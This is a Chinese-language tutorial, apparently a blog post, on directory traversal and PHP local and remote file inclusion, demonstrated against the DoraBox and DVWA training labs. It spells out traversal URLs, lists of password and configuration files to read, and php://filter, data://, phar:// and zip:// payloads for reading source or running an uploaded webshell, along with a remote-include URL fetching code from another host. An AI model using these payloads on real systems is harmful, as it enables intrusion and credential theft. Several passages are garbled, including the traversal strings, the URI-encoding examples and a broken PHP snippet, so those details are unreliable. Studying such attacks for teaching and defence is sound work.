目录遍历是Http所存在的一个安全漏洞,它使得攻击者能够访问受限制的目录,并在Web服务器的根目录以外执行命令。
目录遍历攻击可能从两个方面产生:
①利用web应用代码实行目录遍历攻击 ②利用web服务器进行目录遍历攻击
原理:
程序在实现上没有充分过滤用户输入的…/之类的目录跳转符,导致恶意用户可以通过提交目录跳转来遍历服务器上的任意文件。
读取文件的url:
http://127.0.0.1/my.jsp?file=xxx.html如果服务器允许这种访问方式,那麽就有可能存在遍历攻击
恶意url:
http://127.0.0.1/my.jsp?file=../../Windows.system.ini这样就可以获取服务器的信息。
…/…/只是我们猜想的
从web服务器本身的软件或者代码也可能造成漏洞。 例如,如下的一个URL请求,它使用了IIS的脚本目录来移动目录并执行指令:http://server.com/scripts/…\…/Windows/System32/cmd.exe?/c+dir+c:\
这个请求会返回C:\目录下所有文件的列表,它使通过调用cmd.exe然后再用dir c:\来实现的,\是web服务器的转换符,用来代表一些常见字符,这里表示的是“\”
URI编码形式的目录遍历攻击
一些网络应用会通过查询危险的字符串,例如:
… …\ …/来防止目录遍历攻击。然而,服务器检查的字符串往往会被URI编码。因此这类系统将无法避免如下形式的目录遍历攻击:
../:解码为…/ ../:解码为…/ …/:解码为…/ ..\:解码为…\注意:对于不同的操作系统 linux目录遍历攻击,通用的linux系统的目录遍历攻击字符串形如“…/”。 一般攻击路径
/etc/passwd // 账户信息 /etc/shadow // 账户密码文件 /usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件 /usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置 /usr/local/app/php5/lib/php.ini // PHP相关配置 /etc/httpd/conf/httpd.conf // Apache配置文件 /etc/my.conf // mysql 配置文件Windows操作系统目录遍历攻击 对于微软的Windows操作系统以及DOS系统的目录结构,攻击者可以使用“…/”或者“…\”字符串。
在Windows操作系统中,每个磁盘分区有一个独立的根目录(比如我们会把个人电脑分区成“C盘”、“D盘”等等),并且在所有磁盘分区之上没有更高级的根目录。这意味着Windows系统上的目录遍历攻击会被隔离在单个磁盘分区之内,不会波及到其他盘。(是不是很狗)
敏感路径:
c:\boot.ini // 查看系统版本 c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件 c:\windows\repair\sam // 存储Windows系统初次安装的密码 c:\ProgramFiles\mysql\my.ini // MySQL配置 c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密码 c:\windows\php.ini // php 配置信息但是如果目录遍历攻击在D盘就没用了
我们在写代码的时候,对于某些代码我们可能会多次使用,但是一遍遍重复的写,这不是浪费时间🐎,所以我们就会将高频率使用的代码包含在一个文件里,用的时候引用就行了。这应该就是文件包含了
文件包含函数加载的参数没有经过过滤或者严格的定义,可以被用户控制,包含其他恶意文件,导致了执行了非预期的代码,从而形成了漏洞。
以Dorabox为例
输入1 得到信息
用的是include()函数,没有经过任何的过滤。
那我们先建一个txt.txt文件
内容:
<?phpnfo();?>构造payload:http://127.0.0.1/DoraBox/file_include/any_include.php?file=txt.txt&submit=submit
得到了php版本,等等各种信息。
我们换个格式的payload
http://127.0.0.1/DoraBox/file_include/any_include.php?file=txt.jpg&submit=submit一样可以得到PHP的一些信息。
真是任意文件包含。
通过上面的截图我们不只是得到了PHP版本信息
我们也得到了session的存储位置。
那麽我们就可以对session的值进行更改。
使用下面代码
<?php session_start(); $a=$_GET['a']; $_SESSION["username"]=$a; ?>将我们传入a值存进session里。
当然我们也可以传入phpinfo();等等像这样的代码。
一般存有session值的文件名都是sess_PHPSESSID
当然我们也可以使用type命令或者cat命令,将包含有session的文件显示出来。
对于那些只允许包含指定文件下的文件
<?php include "../class/function.class.php"; $p = new Func("GET","file"); $p -> con_html(); if (isset($_REQUEST['submit'])) { $file = $_REQUEST['file']; include './'.$file; } ?>类似于上面源码,对我们进行了限制。
那麽我们可以尝试利用目录遍历盲猜
http://127.0.0.1/DoraBox/file_include/include_1.php?file=./txt.php&submit=submit情况不一样,也可以是../
对于这种类型,我们一般都使用截断 ① 截断(需要php版本小于5.3.4,且关闭magic_quotes_gpc功能。) ②…(windows文件名最长不大于256,Linux不大于1024?) ③?截断
以上三个就不做具体的测试了,有兴趣可以自己搞一下。
远程文件包含利用的条件严格,需要满足
allow_url_fopen = On(是否允许打开远程文件) allow_url_include = On(是否允许include/require远程文件)我们见到的大多数都是本地文件包含。
http://127.0.0.1/DoraBox/file_include/include_1.php?file=http://192.168.1.105/test.txt伪协议太多,只详讲php://
php:// — 访问各个输入/输出流(I/O streams)
?file=file://文件绝对路径可以读取到文件内容
php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用。
这个好像ctf比赛用的比较多
①?filename=php://filter/convert.base64-encode/resource=xxx.php ②?filename=php://filter/read=convert.base64-encode/resource=xxx.php
这两个效果一样
通过这样的语句能获得xxx.php的代码的base64加密结果,通过base64解密后便可获得xxx.php的页面代码。
php://input 是个可以访问请求的原始数据的只读流。 POST 请求的情况下,最好使用 php://input 来代替 $HTTP_RAW_POST_DATA,因为它不依赖于特定的 php.ini 指令。(其他请求方式无效)
说白了就是利用input将我们的写的数据通过post传上去。
但有一点比较特殊,enctype=“multipart/form-data” 的时候 php://input 是无效的。
我们也可以写入木马,但需要开启
allow_url_fopen = On(是否允许打开远程文件) allow_url_include = On(是否允许include/require远程文件)有的大师傅说需要开启一句话木马,然后菜刀连接。
php://output 是一个只写的数据流, 允许你以 print 和 echo 一样的方式 写入到输出缓冲区。
和php://相似,将原本的数据流重新定向到用户的可控制的输入流中。可直接执行代码。
① ?file=data:text/plain,<?php 执行内容 ?> ② ?file=data:text/plain;base64,编码后的php代码(对特殊字符过滤了,可以使用)这个参数是就是php解压缩包的一个函数,不管后缀是什么,都会当做压缩包来解压(rar格式不行)。
PHP版本 >= 5.3.0
?file=phar://压缩包/内部文件写一个一句话木马文件cmd.php,然后用zip协议压缩为shell.zip,然后将后缀改为jpg等其他格式。
那麽payload:?file=phar://cmd.jpg/cmd.php
与phar://类似
?file=zip://[压缩文件绝对路径]#[压缩文件内的子文件名] zip://xxx.png#shell.php。是绝对路径且#要手动编码为#
以DVWA靶场的文件上传为栗子
首先将我们test.php压缩zip文件
内容:
<? phpinfo(); ?>上传成功!
我们知道了上传路径。
然后构造payload:http://127.0.0.1/DVWA/vulnerabilities/fi/?page=zip://D:\phpStudy\PHPTutorial\WWW\DVWA\hackable\uploads\test.zip#txt.php
成功。